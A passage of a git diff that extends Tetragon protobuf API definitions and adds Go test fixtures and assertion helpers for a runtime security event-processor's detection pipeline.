because the policy was in monitor mode + uint64 monitor_override = 5; + // number of enforcer notifications triggered from the policy + uint64 notify_enforcer = 6; + // number of enforcer notifications that did not occur because the policy was in monitor mode + uint64 monitor_notify_enforcer = 7; + // number of set actions triggered from the policy + uint64 set = 8; + // number of set actions that did not occur because the policy was in monitor mode + uint64 monitor_set = 9; +} + +message TracingPolicyStats { + TracingPolicyActionCounters action_counters = 1; } message TracingPolicyStatus { @@ -78,6 +104,8 @@ message TracingPolicyStatus { uint64 kernel_memory_bytes = 10; // current mode of the tracing policy TracingPolicyMode mode = 11; + // stats of the tracing policy + optional TracingPolicyStats stats = 12; } message ListTracingPoliciesResponse { @@ -134,19 +162,45 @@ message DisableSensorRequest { message DisableSensorResponse {} -message GetStackTraceTreeRequest { - string name = 1; -} - -message GetStackTraceTreeResponse { - StackTraceNode root = 1; -} - message GetVersionRequest {} message GetVersionResponse { string version = 1; } +message GetInfoRequest {} +message GetInfoResponse { + // version is the version of the agent tetragon (same as GetVersionResponse()) + string version = 1; + // name is the name of the agent + string name = 2; + + message Probe { + string Name = 1; + google.protobuf.BoolValue Enabled = 2; + } + + // probes is a list of kernel features that have been probed by the agent + repeated Probe probes = 3; + + message ConfVal { + string key = 1; + google.protobuf.Any value = 2; + } + + // conf is the agent configuration + repeated ConfVal conf = 4; + + message BuildInfo { + string go_version = 1; + string commit = 2; + string time = 3; + string modified = 4; + } + + // build is the agent build information + BuildInfo build = 5; +} + // For now, we only want to support debug-related config flags to be configurable. enum ConfigFlag { CONFIG_FLAG_LOG_LEVEL = 0; @@ -251,9 +305,8 @@ service FineGuidanceSensors { option deprecated = true; } - rpc GetStackTraceTree(GetStackTraceTreeRequest) returns (GetStackTraceTreeResponse) {} - rpc GetVersion(GetVersionRequest) returns (GetVersionResponse) {} + rpc GetInfo(GetInfoRequest) returns (GetInfoResponse) {} rpc RuntimeHook(RuntimeHookRequest) returns (RuntimeHookResponse) {} diff --git a/event-processor/api/tetragon/tetragon.proto b/event-processor/api/tetragon/tetragon.proto index dc5ad629..83e0a12c 100644 --- a/event-processor/api/tetragon/tetragon.proto +++ b/event-processor/api/tetragon/tetragon.proto @@ -52,6 +52,8 @@ message Pod { string namespace = 1; // Name of the Pod. string name = 2; + // UID of the Pod. + string uid = 3; // Container of the Pod from which the process that triggered the event // originates. Container container = 4; @@ -184,6 +186,12 @@ message UserRecord { string name = 1; } +// Environment variable +message EnvVar { + string Key = 1; + string Value = 2; +} + message Process { // Exec ID uniquely identifies the process over time across all the nodes in the cluster. string exec_id = 1; @@ -295,6 +303,8 @@ message Process { // for example, you wish to discern whether a process was spawned using a // tool like nsenter or kubectl exec. google.protobuf.BoolValue in_init_tree = 20; + // Environment variables passed to the binary at execution. + repeated EnvVar environment_variables = 21; } message ProcessExec { @@ -361,6 +371,11 @@ message KprobeSockaddr { uint32 port = 3; } +message KprobeSockaddrUn { + string family = 1; + string path = 2; +} + message KprobeNetDev { string name = 1; } @@ -414,6 +429,12 @@ message KprobeBpfAttr { string ProgName = 3; } +message KprobeBpfProg { + string ProgType = 1; + uint32 InsnCnt = 2; + string ProgName = 3; +} + message KprobePerfEvent { string KprobeFunc = 1; string Type = 2; @@ -429,6 +450,10 @@ message KprobeBpfMap { string MapName = 5; } +message KprobeError { + string Message = 1; +} + message SyscallId { uint32 id = 1; string abi = 2; @@ -465,6 +490,9 @@ message KprobeArgument { BpfCmd bpf_cmd_arg = 28; SyscallId syscall_id = 29; KprobeSockaddr sockaddr_arg = 30; + KprobeBpfProg bpf_prog_arg = 31; + KprobeError error_arg = 32; + KprobeSockaddrUn sockaddrun_arg = 33; } string label = 18; } @@ -501,6 +529,8 @@ enum KprobeAction { KPROBE_ACTION_NOTIFYENFORCER = 13; // CleanupEnforcerNotification action cleanups any state left by NotifyEnforcer KPROBE_ACTION_CLEANUPENFORCERNOTIFICATION = 14; + // Set action sets first USDT argument + KPROBE_ACTION_SET = 15; } message ProcessKprobe { @@ -530,6 +560,8 @@ message ProcessKprobe { repeated StackTraceEntry user_stack_trace = 12; // Ancestors of the process beyond the immediate parent. repeated Process ancestors = 13; + // Data definition of the observed kprobe. + repeated KprobeArgument data = 14; } message ProcessTracepoint { @@ -575,6 +607,33 @@ message ProcessUprobe { uint64 offset = 10; // uprobe ref_ctr_offset uint64 ref_ctr_offset = 11; + // Action performed when the uprobe hook matched. + KprobeAction action = 12; + // Data definition of the observed uprobe. + repeated KprobeArgument data = 13; +} + +message ProcessUsdt { + Process process = 1; + Process parent = 2; + string path = 3; + string provider = 4; + string name = 5; + // Name of the policy that created that uprobe. + string policy_name = 6; + // Short message of the Tracing Policy to inform users what is going on. + string message = 7; + // Arguments definition of the observed uprobe. + repeated KprobeArgument args = 8; + // Tags of the Tracing Policy to categorize the event. + repeated string tags = 9; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 10; + // Action performed when the USDT hook matched. + KprobeAction action = 11; + // Flags are for debugging purposes only and should not be considered a + // reliable source of information. + string flags = 12; } message ProcessLsm { @@ -672,9 +731,16 @@ message GetHealthStatusResponse { // loader sensor event triggered for loaded binary/library message ProcessLoader { + // Process that triggered the loader. Process process = 1; + // File path that is being loaded. string path = 2; + // Buildid of the file that is being loaded. bytes buildid = 3; + // Immediate parent of the process. + Process parent = 4; + // Ancestors of the process beyond the immediate parent. + repeated Process ancestors = 5; } // RuntimeHookRequest synchronously propagates information to the agent about run-time state. @@ -686,6 +752,17 @@ message RuntimeHookRequest { message RuntimeHookResponse {} +message Mount { + // Destination is the absolute path where the mount will be placed in the container. + string destination = 1; + // Type specifies the mount kind. + string type = 2; + // Source specifies the source path of the mount. + string source = 3; + // Options are fstab style mount options. + repeated string options = 4; +} + // CreateContainer informs the agent that a container was created // This is intented to be used by OCI hooks (but not limited to them) and corresponds to the // CreateContainer hook: @@ -716,6 +793,8 @@ message CreateContainer { string podNamespace = 8; // containerImage is the full image location (repo + image) string containerImage = 9; + // Mounts configures additional mounts (on top of Root). + repeated Mount mounts = 10; } message StackTraceEntry { diff --git a/event-processor/cmd/event-processor/fixture_test.go b/event-processor/cmd/event-processor/fixture_test.go new file mode 100644 index 00000000..ecf59f57 --- /dev/null +++ b/event-processor/cmd/event-processor/fixture_test.go @@ -0,0 +1,300 @@ +package main + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "testing" + + upstreamtetragon "github.com/cilium/tetragon/api/v1/tetragon" + "google.golang.org/protobuf/encoding/protojson" + "google.golang.org/protobuf/proto" +) + +// fixture is the in-memory representation of one JSON fixture used by the +// integration tests in this package. It mirrors the on-disk schema documented +// in event-processor/README.md (Testing → Fixture schema). +// +// All sub-structs are pointers so that "field absent" / "field null" can be +// distinguished from "field present with zero value". A nil expectPolicyCall +// (etc.) means "assert the corresponding RPC was NOT invoked". +type fixture struct { + // Path is the absolute path the fixture was loaded from. Used for test + // labels and error messages; not persisted in JSON. + Path string + // EventWire is the wire-format encoding of the fixture's tetragon event, + // ready to be published as the body of an AMQP message. Producing this + // up-front (in loadFixture) keeps per-iteration overhead in the + // TestDetectorPipeline matrix to a single Publish call. + EventWire []byte + // PolicyResponse is the canned EvaluatePolicyRuntimeEvent response the + // minimock policy-enforcer client should return for this fixture. Nil + // means "default to no rules matched" (the worker takes the + // dispatch-skipped path). + PolicyResponse *fixturePolicyResponse + // Expect captures all mock-call and history-event assertions for this + // fixture. + Expect fixtureExpect +} + +// fixturePolicyResponse is the canned policy-enforcer reply for a fixture. +// Field names mirror the JSON schema; the test driver translates it into an +// *enforcer_api.EvaluatePolicyRuntimeEventReq before configuring the mock. +type fixturePolicyResponse struct { + Rules []fixturePolicyRule `json:"rules"` +} + +// fixturePolicyRule is one canned rule entry within fixturePolicyResponse. +type fixturePolicyRule struct { + Action string `json:"action"` + RuleID uint64 `json:"rule_id"` + RuleName string `json:"rule_name"` +} + +// fixtureExpect is the assertion bundle for a fixture. +// +// Pointer-typed sub-structs (PolicyCall, NotifyCall) follow the +// "nil means assert-not-called" convention from the schema. HistoryEvent is +// always asserted (every event the worker processes produces exactly one +// history event), so it is a value, not a pointer. +type fixtureExpect struct { + PolicyCall *expectPolicyCall `json:"policy_call"` + NotifyCall *expectNotifyCall `json:"notify_call"` + HistoryEvent expectHistoryEvent `json:"history_event"` +} + +// expectPolicyCall describes the expected EvaluatePolicyRuntimeEvent call. +// All fields are optional except DetectorID and Severity, which together +// uniquely identify the (single) detector hit asserted by the fixture. +type expectPolicyCall struct { + DetectorID string `json:"detector_id"` + Severity string `json:"severity"` + ReasonContains string `json:"reason_contains"` + Tactics []string `json:"tactics"` +} + +// expectNotifyCall describes the expected Notifier.Notify call. Currently +// minimal; richer assertions (target IDs, message bodies) can be added as +// fixtures begin exercising notify paths. +type expectNotifyCall struct { + RuleNames []string `json:"rule_names"` +} + +// expectHistoryEvent describes the expected RuntimeEvent published to the +// history queue. All fields are optional; absent fields are not asserted. +type expectHistoryEvent struct { + Severity string `json:"severity"` + IsThreat bool `json:"is_threat"` +} + +// fixtureFile mirrors the on-disk JSON layout. The event field is held as +// raw bytes so it can be unmarshalled separately by protojson. +type fixtureFile struct { + Event json.RawMessage `json:"event"` + PolicyResponse *fixturePolicyResponse `json:"policy_response"` + Expect fixtureExpect `json:"expect"` +} + +// loadFixture reads a fixture JSON file from disk, decodes the embedded +// tetragon event through the upstream cilium/tetragon proto type (which has +// full ProtoReflect, unlike the local TinyGo-targeted stub), re-marshals it +// to wire bytes, and returns a populated *fixture. +// +// The wire-bytes round trip is what lets tests publish to RabbitMQ exactly +// the same encoding the production runtime-monitor would emit; the consumer +// in event-processor then unmarshals into the local stub via plain +// proto.Unmarshal — no UnmarshalVT needed in test code. +// +// loadFixture is fatal on error (calls t.Fatalf), so the test code can keep +// the call sites clean; recovery from a malformed fixture is not interesting. +func loadFixture(t *testing.T, path string) *fixture { + t.Helper() + + raw, err := os.ReadFile(path) + if err != nil { + t.Fatalf("loadFixture: read %s: %v", path, err) + } + + f, err := decodeFixture(path, raw) + if err != nil { + t.Fatalf("loadFixture: %v", err) + } + return f +} + +// decodeFixture is the error-returning core of loadFixture, factored out so +// the unit tests in this file can exercise both happy and failing paths +// without invoking t.Fatalf. +func decodeFixture(path string, raw []byte) (*fixture, error) { + var ff fixtureFile + if err := json.Unmarshal(raw, &ff); err != nil { + return nil, fmt.Errorf("decode %s: %w", path, err) + } + + if len(ff.Event) == 0 { + return nil, fmt.Errorf("decode %s: missing required field 'event'", path) + } + + upstream := &upstreamtetragon.GetEventsResponse{} + if err := protojson.Unmarshal(ff.Event, upstream); err != nil { + return nil, fmt.Errorf("decode %s: protojson event: %w", path, err) + } + + wire, err := proto.Marshal(upstream) + if err != nil { + return nil, fmt.Errorf("decode %s: marshal event wire bytes: %w", path, err) + } + + abs, err := filepath.Abs(path) + if err != nil { + // filepath.Abs only fails if the working directory cannot be + // determined; treat as fatal-for-this-fixture but keep the + // raw path so the error message is still useful. + abs = path + } + + return &fixture{ + Path: abs, + EventWire: wire, + PolicyResponse: ff.PolicyResponse, + Expect: ff.Expect, + }, nil +} + +// TestLoadFixture exercises the fixture loader against a synthetic positive +// fixture and a synthetic invalid fixture written to t.TempDir(). +// +// Real on-disk fixtures live under detector/wasm/*/testdata/ and are +// driven by TestDetectorPipeline; this unit test stays focused on loader +// semantics (synthetic happy/error paths) and does not need the real +// wazero-seeded pipeline. +func TestLoadFixture(t *testing.T) { + dir := t.TempDir() + + // Synthetic positive fixture: minimal valid event + non-trivial expect. + positiveJSON := `{ + "event": {"node_name": "test-node"}, + "policy_response": { + "rules": [ + {"action": "BLOCK", "rule_id": 42, "rule_name": "kill on reverse shell"} + ] + }, + "expect": { + "policy_call": { + "detector_id": "PTCS_RT_REVERSE_SHELL_CREATE", + "severity": "CRITICAL", + "reason_contains": "reverse shell", + "tactics": ["TA0011"] + }, + "kill_pod_call": {"namespace": "default", "name": "victim-7"}, + "notify_call": null, + "history_event": {"severity": "CRITICAL", "is_threat": true} + } +}` + positivePath := filepath.Join(dir, "positive_synthetic.json") + if err := os.WriteFile(positivePath, []byte(positiveJSON), 0o644); err != nil { + t.Fatalf("write synthetic positive: %v", err) + } + + // Synthetic negative fixture: null sub-structs and is_threat=false. + negativeJSON := `{ + "event": {"node_name": "test-node"}, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": {"is_threat": false} + } +}` + negativePath := filepath.Join(dir, "negative_synthetic.json") + if err := os.WriteFile(negativePath, []byte(negativeJSON), 0o644); err != nil { + t.Fatalf("write synthetic negative: %v", err) + } + + t.Run("positive_loads_and_decodes", func(t *testing.T) { + f := loadFixture(t, positivePath) + if f == nil { + t.Fatal("loadFixture returned nil") + } + if len(f.EventWire) == 0 { + t.Fatal("expected non-empty wire bytes for tetragon event") + } + // Round-trip the wire bytes back through the upstream type to + // confirm the encoding survives unchanged. + decoded := &upstreamtetragon.GetEventsResponse{} + if err := proto.Unmarshal(f.EventWire, decoded); err != nil { + t.Fatalf("unmarshal wire bytes: %v", err) + } + if decoded.GetNodeName() != "test-node" { + t.Fatalf("node_name = %q, want %q", decoded.GetNodeName(), "test-node") + } + if f.PolicyResponse == nil || len(f.PolicyResponse.Rules) != 1 { + t.Fatalf("policy_response: got %#v, want 1 rule", f.PolicyResponse) + } + const wantAction = "BLOCK" + if got := f.PolicyResponse.Rules[0].Action; got != wantAction { + t.Fatalf("rule action = %q, want %q", got, wantAction) + } + if f.Expect.PolicyCall == nil { + t.Fatal("expect.policy_call: got nil, want non-nil") + } + if f.Expect.PolicyCall.DetectorID != "PTCS_RT_REVERSE_SHELL_CREATE" { + t.Fatalf("detector_id = %q", f.Expect.PolicyCall.DetectorID) + } + if f.Expect.NotifyCall != nil { + t.Fatalf("notify_call: got %#v, want nil", f.Expect.NotifyCall) + } + if !f.Expect.HistoryEvent.IsThreat { + t.Fatal("expect.history_event.is_threat = false, want true") + } + }) + + t.Run("negative_loads_and_decodes", func(t *testing.T) { + f := loadFixture(t, negativePath) + if f.PolicyResponse != nil { + t.Fatalf("policy_response: got %#v, want nil", f.PolicyResponse) + } + if f.Expect.PolicyCall != nil { + t.Fatalf("expect.policy_call: got %#v, want nil", f.Expect.PolicyCall) + } + if f.Expect.HistoryEvent.IsThreat { + t.Fatal("expect.history_event.is_threat = true, want false") + } + }) + + t.Run("missing_file_errors", func(t *testing.T) { + _, err := decodeFixture("nonexistent.json", []byte("not json")) + if err == nil { + t.Fatal("decodeFixture: got nil error, want JSON parse failure") + } + }) + + t.Run("missing_event_field_errors", func(t *testing.T) { + _, err := decodeFixture("inline.json", []byte(`{"expect":{"history_event":{"is_threat":false}}}`)) + if err == nil { + t.Fatal("decodeFixture: got nil error, want missing-event error") + } + }) + + t.Run("malformed_event_errors", func(t *testing.T) { + // "event" must decode as tetragon.GetEventsResponse; passing a + // number in place of an object exercises the protojson failure + // branch. + _, err := decodeFixture("inline.json", []byte(`{"event": 42}`)) + if err == nil { + t.Fatal("decodeFixture: got nil error, want protojson failure") + } + }) + + // Sanity check: the on-disk-error contract exposed by os.ReadFile is + // preserved by loadFixture's underlying read step. We exercise it via + // decodeFixture by feeding it bytes that are not JSON at all so the + // first json.Unmarshal call fails — no real file I/O needed. + t.Run("non_json_bytes_errors", func(t *testing.T) { + _, err := decodeFixture("inline.json", []byte("definitely not json")) + if err == nil { + t.Fatal("decodeFixture: got nil error, want JSON parse failure") + } + }) +} diff --git a/event-processor/cmd/event-processor/helpers_test.go b/event-processor/cmd/event-processor/helpers_test.go new file mode 100644 index 00000000..880afe15 --- /dev/null +++ b/event-processor/cmd/event-processor/helpers_test.go @@ -0,0 +1,313 @@ +package main + +import ( + "context" + "strings" + "testing" + "time" + + "github.com/google/go-cmp/cmp" + "github.com/google/go-cmp/cmp/cmpopts" + amqp "github.com/rabbitmq/amqp091-go" + runtime_event "github.com/runtime-radar/runtime-radar/event-processor/api" + notifier_api "github.com/runtime-radar/runtime-radar/notifier/api" + enforcer_api "github.com/runtime-radar/runtime-radar/policy-enforcer/api" + "google.golang.org/protobuf/proto" +) + +// drainHistoryEvent blocks until either a history-queue delivery arrives on +// ch or deadline elapses. It unmarshals the delivery body into a +// *runtime_event.RuntimeEvent and returns it. The provided ctx is honored in +// addition to the deadline — whichever fires first wins. +// +// On timeout or context cancellation, the test is failed via t.Fatalf and +// nil is returned (unreachable, but keeps the call sites short). +// +// The delivery is implicitly auto-acked: this helper does not call +// delivery.Ack, so the consumer that produced ch must have been registered +// with autoAck=true. That matches the simple in-test consumer set up by +// TestMain. +// +//nolint:revive // *testing.T conventionally precedes context in test helpers +func drainHistoryEvent(t *testing.T, ctx context.Context, ch <-chan amqp.Delivery, deadline time.Duration) *runtime_event.RuntimeEvent { + t.Helper() + + timeoutCtx, cancel := context.WithTimeout(ctx, deadline) + defer cancel() + + select { + case d, ok := <-ch: + if !ok { + t.Fatalf("drainHistoryEvent: history channel closed before delivery") + return nil + } + ev := &runtime_event.RuntimeEvent{} + if err := proto.Unmarshal(d.Body, ev); err != nil { + t.Fatalf("drainHistoryEvent: unmarshal RuntimeEvent: %v", err) + return nil + } + return ev + case <-timeoutCtx.Done(): + // timeoutCtx is created with WithTimeout (no cause), so + // timeoutCtx.Err() is the only signal we have — DeadlineExceeded + // for the deadline path, Canceled if the parent ctx was + // cancelled while we were blocked. + t.Fatalf("drainHistoryEvent: timed out after %s waiting for history event (err: %v)", deadline, timeoutCtx.Err()) + return nil + } +} + +// purgeQueue removes all messages from the named queue. Intended for use as +// a t.Cleanup hook so each subtest starts with empty queues regardless of +// what the previous test produced. +// +// Failures are reported via t.Errorf (not Fatalf) so cleanup keeps running +// even when the queue server has misbehaved. +func purgeQueue(t *testing.T, channel *amqp.Channel, queueName string) { + t.Helper() + if channel == nil { + t.Errorf("purgeQueue: nil amqp channel for queue %q", queueName) + return + } + if _, err := channel.QueuePurge(queueName, false /* noWait */); err != nil { + t.Errorf("purgeQueue: %s: %v", queueName, err) + } +} + +// assertPolicyCall asserts that the captured EvaluatePolicyRuntimeEvent +// invocations match the expectation in the fixture. +// +// Semantics: +// - want == nil: zero invocations expected +// - want != nil: exactly one invocation expected, whose Result.Events +// contains an entry matching want.DetectorID + +// want.Severity. The captured request only carries +// detector id + severity (see policy-enforcer enforcer.proto), +// so reason_contains and tactics are checked separately by +// assertReasonContains and assertTactics against the +// drained RuntimeEvent — that is the same data +// policy-enforcer would observe in production. +// +// The assertion is intentionally loose on field ordering: we use +// cmpopts.SortSlices on string slices and protocmp.Transform() on the +// captured proto so that detector emit order does not affect outcomes. +func assertPolicyCall(t *testing.T, want *expectPolicyCall, calls []*enforcer_api.EvaluatePolicyRuntimeEventReq) { + t.Helper() + + if want == nil { + if len(calls) != 0 { + t.Errorf("assertPolicyCall: got %d EvaluatePolicyRuntimeEvent calls, want 0", len(calls)) + } + return + } + + if len(calls) != 1 { + t.Errorf("assertPolicyCall: got %d EvaluatePolicyRuntimeEvent calls, want 1", len(calls)) + return + } + got := calls[0] + if got == nil || got.GetResult() == nil { + t.Errorf("assertPolicyCall: captured request missing Result") + return + } + + // Check that the Events slice contains an entry matching detector + // id + severity. We don't pin the slice order — workers may emit + // detectors in arbitrary order. Severity comparison is + // case-insensitive: fixtures store uppercase ("HIGH") while + // detectors emit lowercase ("high"). + found := false + for _, e := range got.GetResult().GetEvents() { + if e.GetDetectorId() == want.DetectorID && strings.EqualFold(e.GetSeverity(), want.Severity) { + found = true + break + } + } + if !found { + t.Errorf("assertPolicyCall: no Events entry matched detector_id=%q severity=%q (case-insensitive); got events: %v", + want.DetectorID, want.Severity, got.GetResult().GetEvents()) + } +} + +// assertTactics asserts that the drained RuntimeEvent's Threats slice +// covers every tactic ID listed in want.Tactics (for the threat emitted +// by want.DetectorID). An empty want.Tactics is a no-op. Extra tactics on +// the threat are tolerated; only the assertion side must be a subset. +func assertTactics(t *testing.T, want *expectPolicyCall, ev *runtime_event.RuntimeEvent) { + t.Helper() + + if want == nil || len(want.Tactics) == 0 { + return + } + if ev == nil { + t.Errorf("assertTactics: nil RuntimeEvent") + return + } + + have := make(map[string]struct{}, 8) + matchedDetector := false + for _, th := range ev.GetThreats() { + if th.GetDetector().GetId() != want.DetectorID { + continue + } + matchedDetector = true + for _, mt := range th.GetTacticsCovered() { + have[mt.GetId()] = struct{}{} + } + } + if !matchedDetector { + t.Errorf("assertTactics: detector %q produced no threat in RuntimeEvent.Threats; want tactics %v", + want.DetectorID, want.Tactics) + return + } + missing := make([]string, 0, len(want.Tactics)) + for _, w := range want.Tactics { + if _, ok := have[w]; !ok { + missing = append(missing, w) + } + } + if len(missing) > 0 { + gotTactics := make([]string, 0, len(have)) + for k := range have { + gotTactics = append(gotTactics, k) + } + t.Errorf("assertTactics: detector %q missing tactics %v; got tactics %v", + want.DetectorID, missing, gotTactics) + } +} + +// assertReasonContains is a small extension over assertPolicyCall that +// checks the threat reason text against expect.policy_call.reason_contains +// (case-insensitive). It reads the reason from the drained RuntimeEvent's +// Threats slice — the threats list emitted by the WASM detector chain and +// surfaced on the history queue. +// +// Diagnostic note: the error message distinguishes "detector did not fire +// at all" from "detector fired but reason text did not match" so that +// failures point at the right root cause. +func assertReasonContains(t *testing.T, want *expectPolicyCall, ev *runtime_event.RuntimeEvent) { + t.Helper() + + if want == nil || want.ReasonContains == "" { + return + } + if ev == nil { + t.Errorf("assertReasonContains: nil RuntimeEvent") + return + } + + matchedDetector := false + gotReasons := make([]string, 0, len(ev.GetThreats())) + for _, threat := range ev.GetThreats() { + if threat.GetDetector().GetId() != want.DetectorID { + continue + } + matchedDetector = true + if caseInsensitiveContains(threat.GetReason(), want.ReasonContains) { + return + } + gotReasons = append(gotReasons, threat.GetReason()) + } + if !matchedDetector { + t.Errorf("assertReasonContains: detector %q produced no threat in RuntimeEvent.Threats; want reason containing %q", + want.DetectorID, want.ReasonContains) + return + } + t.Errorf("assertReasonContains: detector %q fired but no threat reason contains %q (case-insensitive); got reasons: %v", + want.DetectorID, want.ReasonContains, gotReasons) +} + +// assertNotifyCall asserts that the captured Notify invocations match the +// expectation. +// +// Today the only assertion is on the set of rule names attached to the +// notifications: ordering is irrelevant, so we use cmpopts.SortSlices to +// flatten the comparison. Richer assertions (target IDs, message bodies) +// can be added as fixtures start exercising those paths. +func assertNotifyCall(t *testing.T, want *expectNotifyCall, calls []*notifier_api.NotifyReq) { + t.Helper() + + if want == nil { + if len(calls) != 0 { + t.Errorf("assertNotifyCall: got %d Notify calls, want 0", len(calls)) + } + return + } + + if len(calls) != 1 { + t.Errorf("assertNotifyCall: got %d Notify calls, want 1", len(calls)) + return + } + + gotRules := make([]string, 0, len(calls[0].GetNotifications())) + for _, msg := range calls[0].GetNotifications() { + gotRules = append(gotRules, msg.GetRuntimeEvent().GetRuleName()) + } + + sortStrings := cmpopts.SortSlices(func(a, b string) bool { return a < b }) + if diff := cmp.Diff(want.RuleNames, gotRules, sortStrings); diff != "" { + t.Errorf("assertNotifyCall: rule names mismatch (-want +got):\n%s", diff) + } +} + +// assertHistoryEvent asserts that the drained RuntimeEvent matches the +// fixture's expect.history_event. +// +// Semantics: +// - want.IsThreat compares against len(got.Threats) > 0. A "threat" in +// the fixture vocabulary is a detector emission; that lives on +// RuntimeEvent.Threats. (RuntimeEvent.IsIncident is only set when a +// policy rule actually fires, which most positive fixtures don't +// exercise.) +// - When want.IsThreat is true and want.Severity is non-empty, at least +// one Threat in got.Threats must have a matching severity. +// Comparison is case-insensitive: fixtures store "HIGH"/"MEDIUM"/etc. +// while detectors emit lowercase variants. +// - When want.IsThreat is false, want.Severity is ignored (negatives +// have no threats to carry severity). +func assertHistoryEvent(t *testing.T, want expectHistoryEvent, got *runtime_event.RuntimeEvent) { + t.Helper() + + if got == nil { + t.Errorf("assertHistoryEvent: got nil RuntimeEvent") + return + } + + gotIsThreat := len(got.GetThreats()) > 0 + if gotIsThreat != want.IsThreat { + t.Errorf("assertHistoryEvent: is_threat = %v (len(threats)=%d), want %v", + gotIsThreat, len(got.GetThreats()), want.IsThreat) + return + } + + if !want.IsThreat { + return + } + + if want.Severity == "" { + return + } + + for _, th := range got.GetThreats() { + if strings.EqualFold(th.GetSeverity(), want.Severity) { + return + } + } + + gotSeverities := make([]string, 0, len(got.GetThreats())) + for _, th := range got.GetThreats() { + gotSeverities = append(gotSeverities, th.GetSeverity()) + } + t.Errorf("assertHistoryEvent: no threat with severity %q (case-insensitive); got severities: %v", + want.Severity, gotSeverities) +} + +// caseInsensitiveContains is a small helper used by the policy-call reason +// assertion. Kept here (not in the loader) to keep all assertion utilities +// in one file. +func caseInsensitiveContains(haystack, needle string) bool { + if needle == "" { + return true + } + return strings.Contains(strings.ToLower(haystack), strings.ToLower(needle)) +} diff --git a/event-processor/cmd/event-processor/main_test.go b/event-processor/cmd/event-processor/main_test.go new file mode 100644 index 00000000..96180939 --- /dev/null +++ b/event-processor/cmd/event-processor/main_test.go @@ -0,0 +1,911 @@ +//go:build !tinygo.wasm + +package main + +import ( + "context" + "errors" + "net" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + "sync" + "testing" + "time" + + "github.com/cilium/tetragon/api/v1/tetragon" + amqp "github.com/rabbitmq/amqp091-go" + "github.com/rs/zerolog/log" + runtime_event "github.com/runtime-radar/runtime-radar/event-processor/api" + "github.com/runtime-radar/runtime-radar/event-processor/pkg/client" + "github.com/runtime-radar/runtime-radar/event-processor/pkg/config" + "github.com/runtime-radar/runtime-radar/event-processor/pkg/consumer" + "github.com/runtime-radar/runtime-radar/event-processor/pkg/database" + "github.com/runtime-radar/runtime-radar/event-processor/pkg/processor" + "github.com/runtime-radar/runtime-radar/event-processor/pkg/processor/detector" + "github.com/runtime-radar/runtime-radar/lib/logger" + "github.com/runtime-radar/runtime-radar/lib/rabbit" + "github.com/runtime-radar/runtime-radar/lib/server/interceptor" + notifier_api "github.com/runtime-radar/runtime-radar/notifier/api" + enforcer_api "github.com/runtime-radar/runtime-radar/policy-enforcer/api" + "google.golang.org/grpc" + "google.golang.org/grpc/reflection" + "google.golang.org/protobuf/proto" + "google.golang.org/protobuf/types/known/emptypb" +) + +const ( + // Local listen address for the in-process gRPC server. Same value as the + // production default; chosen explicitly here so subtests don't depend on + // production config defaults. + listenGRPCAddr = "127.0.0.1:8000" + + // Smoke-test deadline: how long the smoke test waits for a RuntimeEvent + // to surface on history_events after publishing an empty event to + // runtime_events. The first event the worker processes also triggers + // wazero to compile every seeded WASM detector — that's a ~30-90s + // one-shot tax depending on the test host. After this first event + // completes, per-fixture sync in TestDetectorPipeline uses the much + // smaller perFixtureDeadline. + historyDrainDeadline = 3 * time.Minute +) + +// Package-level state shared with subtests. +// +// The downstream-client mocks are exposed as package-level vars so subtests +// (TestDetectorPipeline, etc.) can configure return values per-fixture and +// inspect captured call args. Access is single-threaded by virtue of subtests +// running sequentially within TestDetectorPipeline; the mutex is used by the +// smoke test only as defensive belt-and-braces. +var ( + testCfg *config.Config + + enforcerMock *client.EnforcerClientMock + notifierMock *client.NotifierClientMock + // mocksMu serializes mock reconfiguration done by per-fixture subtests. + // Subtests run sequentially today, but the smoke test publishes through + // the same shared mocks; the lock keeps mock reconfiguration honest if + // future work introduces concurrency. + mocksMu sync.Mutex + + // Channel of history-queue deliveries surfaced by the in-test consumer + // in TestMain. Subtests pull from here via drainHistoryEvent (helpers_test.go). + historyDeliveries chan amqp.Delivery + + // runtimePublisher is the lib/rabbit MessageBroker bound to the + // runtime_events queue, used by tests to inject Tetragon events into + // the production consumer. + runtimePublisher *rabbit.MessageBroker + + // historyConsumeChannel is the raw amqp.Channel used by the in-test + // history-queue consumer. Exposed so subtests can call purgeQueue on + // runtime_events / history_events between iterations. + historyConsumeChannel *amqp.Channel +) + +// TestMain bootstraps the full event-processor pipeline against real +// Postgres + RabbitMQ + WASM-detector seed, with downstream gRPC clients +// (policy-enforcer, notifier, kube-manager) substituted by minimock +// instances. The shape mirrors policy-enforcer/cmd/policy-enforcer/main_test.go. +// +// Bootstrap steps (in order): +// 1. Build cfg from env (config.New parses flags), init logger. +// 2. Open Postgres and run database.Migrate(db, true) to wipe + replay. +// 3. Open two lib/rabbit MessageBrokers — one publisher on runtime_events +// (used by tests to inject events), one history broker passed to the +// worker pool for publishing RuntimeEvents. +// 4. Open a separate amqp connection to consume from history_events and +// funnel deliveries into a buffered Go channel. +// 5. Construct minimock client instances for all three downstream services +// and stash them in package-level vars. +// 6. Override cfg.DeployDir to point at the repo's compiled WASM blobs +// (../../deploy relative to cmd/event-processor) and call the +// production ensureDetectors() to seed Postgres. +// 7. Build the worker pool via getPool() requesting poolSize=1; note that +// processor.NewWorkersPool enforces minPoolSize=2 internally, so two +// worker goroutines are actually started. Subtests assume the shared +// job-channel ordering this implies (see runFixtureSubtest comments). +// 8. Force-set the pool config to HistoryControl=ALL so that every +// processed event produces exactly one history-queue publish — that's +// the deterministic sync point the smoke test and TestDetectorPipeline +// rely on. (Default is HistoryControl=NONE which would skip the publish +// entirely.) +// 9. Start the production consumer (consumer.Run) on a stop channel. +// +// 10. Start the gRPC server on 127.0.0.1:8000 wired via composeServices(). +// 11. m.Run(). +// 12. Graceful teardown: stop server, close consumer, drain rabbit, close DB. +func TestMain(m *testing.M) { + testCfg = config.New() + + if testing.Verbose() { + logger.Init("", "DEBUG") + } else { + logger.Init("", "INFO") + } + + // Default DeployDir is "deploy" relative to cwd. Tests run from + // cmd/event-processor/, so the compiled blobs live at ../../deploy. + // Only override if the user hasn't already pointed somewhere explicit + // (e.g. via DEPLOY_DIR env var or -deployDir flag). + if testCfg.DeployDir == "deploy" { + testCfg.DeployDir = "../../deploy" + } + + // Postgres + db, closeDB, err := database.New( + testCfg.PostgresAddr, + testCfg.PostgresDB+"_test", + 